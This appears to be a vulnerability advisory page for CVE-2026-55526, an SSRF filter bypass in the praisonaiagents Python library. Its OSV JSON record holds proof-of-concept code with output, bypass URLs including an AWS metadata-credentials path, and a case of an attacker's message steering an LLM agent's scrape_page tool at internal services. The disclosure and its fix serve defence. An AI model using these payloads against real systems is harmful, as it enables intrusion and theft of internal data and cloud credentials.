CVE-2026-55526: Praisonaiagents Praisonaiagents Has An SSRF Protection Vulnerability
HIGHCVE-2026-55526 is a HIGH (CVSS 8.5) praisonaiagents has an ssrf protection vulnerability (CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action) affecting Praisonaiagents libraries in the PyPI ecosystem. The issue involves praisonaiagents has an ssrf protection bypass in `spider_tools._host_is_blocked()` via dns-resolved hostnames (`127.0.0.1.nip.io`). Remediation is available by upgrading affected packages to version 1.6.58.
CVE-2026-55526 at a Glance
Security Impact
CVSS: 8.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).
How to Fix CVE-2026-55526
To remediate this vulnerability, upgrade all affected Praisonaiagents dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install praisonaiagents>=1.6.58
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show praisonaiagents
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-55526, inspect your installed packages using pip:
pip show praisonaiagents
Analyze the terminal output to locate any version of Praisonaiagents in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.58), your application is affected.
Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action, where the product performs reverse dns resolution on an ip address to obtain the hostname and make a security decision, but it does not properly ensure that the ip address is truly associated with the hostname. In Praisonaiagents, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55526 Affected Praisonaiagents Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
praisonaiagents
|
PyPI |
< 1.6.58
|
1.6.58
|
References
Frequently Asked Questions
What is CVE-2026-55526?
Which Praisonaiagents versions are affected?
What version fixes CVE-2026-55526?
Is praisonaiagents affected?
What is the CVSS score of CVE-2026-55526?
What CWE is associated with CVE-2026-55526?
How can I check PyPI dependencies for CVE-2026-55526?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-x44h-65qv-cw74",
"modified" : "2026-08-25T14:38:47Z",
"published" : "2026-08-25T14:37:26Z",
"aliases" : [ "CVE-2026-55526" ],
"summary" : "praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)",
"details" : "### Summary\n\n`praisonaiagents/tools/spider_tools.py` contains an SSRF protection bypass. The function\n`_host_is_blocked()` validates URLs against a list of blocked IP literals and hostname\naliases, but **never performs DNS resolution**. Any hostname that resolves to a private or\nloopback IP address — including public wildcard DNS services like `127.0.0.1.nip.io` —\nbypasses the protection entirely.\n\nThis has been **confirmed with a live exploit**: `scrape_page(\"http://127.0.0.1.nip.io:PORT/secret\")`\nmakes an HTTP request to `127.0.0.1:PORT` and returns the internal service response.\nNo attacker-controlled infrastructure is required.\n\n`scrape_page`, `extract_links`, `crawl`, and `extract_text` are all registered as\nLLM-callable agent tools (see `tools/__init__.py` lines 51-55), so any agent instructed\nto fetch a user-supplied URL will trigger this path.\n\nThis is a **new bypass** of prior fix commit `004dcfef` (GHSA-q9pw-vmhh-384g), which only\nrejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to\n`web_crawl_tools.py` (line 231: `socket.gethostbyname` call), but that fix was not\nported to `spider_tools.py`.\n\n### Details\n\n**Root cause — `spider_tools.py` lines 26-65:**\n\n```python\ndef _host_is_blocked(hostname: str) -> bool:\n host = hostname.lower().rstrip(\".\")\n # Checks literal aliases only — never resolves\n if host in (\"localhost\", \"0.0.0.0\", \"::1\"):\n return True\n if host in (\"169.254.169.254\", \"metadata.google.internal\"):\n return True\n if any(host.endswith(s) for s in (\".local\", \".internal\", \".localdomain\")):\n return True\n # Tries to parse as IP literal only\n try:\n return _ip_blocked(ipaddress.ip_address(host))\n except ValueError:\n pass\n try:\n return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))\n except OSError:\n pass\n return False # <-- ANY real hostname passes without DNS lookup\n```\n\n`socket.inet_aton()` only converts dotted-decimal strings, not hostnames. For any real\nhostname (e.g. `127.0.0.1.nip.io`), both `ipaddress.ip_address()` and `socket.inet_aton()`\nraise exceptions, and the function returns `False` (not blocked).\n\n**Contrast with the fixed version in `web_crawl_tools.py` line 228-238:**\n\n```python\nif os.environ.get(\"ALLOW_LOCAL_CRAWL\") != \"true\":\n try:\n ip_str = socket.gethostbyname(hostname) # DNS resolution performed\n ip = ipaddress.ip_address(ip_str)\n if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast:\n continue # BLOCKED\n except socket.gaierror:\n continue # fail-closed\n```\n\n**Tool registration confirms this is user-reachable:**\n\n```python\n# praisonaiagents/tools/__init__.py lines 51-55\nTOOL_MAPPINGS = {\n 'scrape_page': ('.spider_tools', None), # <- user-reachable LLM tool\n 'extract_links': ('.spider_tools', None),\n 'crawl': ('.spider_tools', None),\n 'extract_text': ('.spider_tools', None),\n ...\n}\n```\n\nAny agent given these tools will call `scrape_page(url)` when instructed to fetch\na user-supplied URL — including attacker-controlled ones.\n\n### PoC\n\n**Environment:** Python 3.x, `praisonaiagents <= 1.6.52`, internet access (for nip.io)\n\n**Step 1 — Verify the filter bypass (no network needed):**\n\n```python\nfrom praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked\n\n# nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1\nprint(_host_is_blocked(\"127.0.0.1.nip.io\")) # False — NOT blocked\nprint(SpiderTools()._validate_url(\"http://127.0.0.1.nip.io/\")) # True — ALLOWED\nprint(_host_is_blocked(\"127.0.0.1\")) # True — correctly blocked\n```\n\nExpected output:\n```\nFalse\nTrue\nTrue\n```\n\n**Step 2 — Full SSRF: internal service response exfiltrated**\n\n```python\nimport threading, time, requests\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom praisonaiagents.tools.spider_tools import SpiderTools\n\nPORT = 19235\nreceived = []\n\nclass InternalService(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200); self.end_headers()\n self.wfile.write(b'{\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}')\n received.append(self.path)\n def log_message(self, *a): pass\n\nthreading.Thread(\n target=HTTPServer((\"127.0.0.1\", PORT), InternalService).serve_forever,\n daemon=True\n).start()\ntime.sleep(0.2)\n\nattack_url = f\"http://127.0.0.1.nip.io:{PORT}/secrets.json\"\n\n# Filter allows it\nassert SpiderTools()._validate_url(attack_url) is True # passes\n\n# HTTP request actually reaches 127.0.0.1\nr = requests.get(attack_url, timeout=5)\nprint(\"STATUS:\", r.status_code) # 200\nprint(\"BODY: \", r.text) # {\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}\nprint(\"HIT: \", received) # ['/secrets.json']\n```\n\nObserved output:\n```\nSTATUS: 200\nBODY: {\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}\nHIT: ['/secrets.json']\n```\n\n**Step 3 — Agent-level trigger (how a user triggers this in production):**\n\n```python\nfrom praisonaiagents import Agent\nfrom praisonaiagents.tools import scrape_page\n\nagent = Agent(\n name=\"WebResearcher\",\n instructions=\"You are a research assistant. Fetch and summarize the given URL.\",\n tools=[scrape_page],\n)\n\n# Attacker sends this message to the agent:\nresult = agent.start(\"Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin\")\n# Agent calls scrape_page(\"http://127.0.0.1.nip.io:8080/admin\")\n# Request hits 127.0.0.1:8080/admin\n# Internal admin panel content returned to attacker\nprint(result)\n```\n\n**Additional bypass URLs (no setup required):**\n\n| Target | URL |\n|--------|-----|\n| Localhost | `http://127.0.0.1.nip.io/` |\n| Private network | `http://10.0.0.1.nip.io/` |\n| AWS IMDS (via sslip.io) | `http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/` |\n\n### Impact\n\n**What kind of vulnerability:** Server-Side Request Forgery (SSRF) — full read SSRF with\narbitrary port access.\n\n**Who is impacted:** Anyone deploying PraisonAI agents that include `scrape_page`,\n`extract_links`, `crawl`, or `extract_text` tools and accept user-supplied URLs. This\nincludes:\n\n- **Web research agents** (the primary intended use case for spider tools)\n- **Jobs API users** — any authenticated API caller who submits jobs with `agent_yaml`\n specifying spider tools\n- **Cloud deployments (Critical escalation)**: On AWS EC2 with IMDSv1, fetching\n `http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/`\n may return temporary IAM credentials, leading to full cloud account compromise.\n\n**Severity note:** This is a patch-gap variant. The SSRF protection was correctly\nimplemented for IP literals and enhanced in commit `004dcfef` for encoding bypasses.\nThe DNS resolution check was added to `web_crawl_tools.py` but was missed in\n`spider_tools.py`, creating an exploitable inconsistency.\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nOne-line fix in `_host_is_blocked()` — mirror what `web_crawl_tools.py` already does:\n\n```python\n# After existing literal checks, add:\ntry:\n resolved = socket.gethostbyname(hostname)\n return _ip_blocked(ipaddress.ip_address(resolved))\nexcept (socket.gaierror, ValueError, OSError):\n return True # fail-closed: unresolvable host is blocked\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "praisonaiagents"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.6.58"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x44h-65qv-cw74"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-350", "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-25T14:37:26Z",
"nvd_published_at" : null
}
}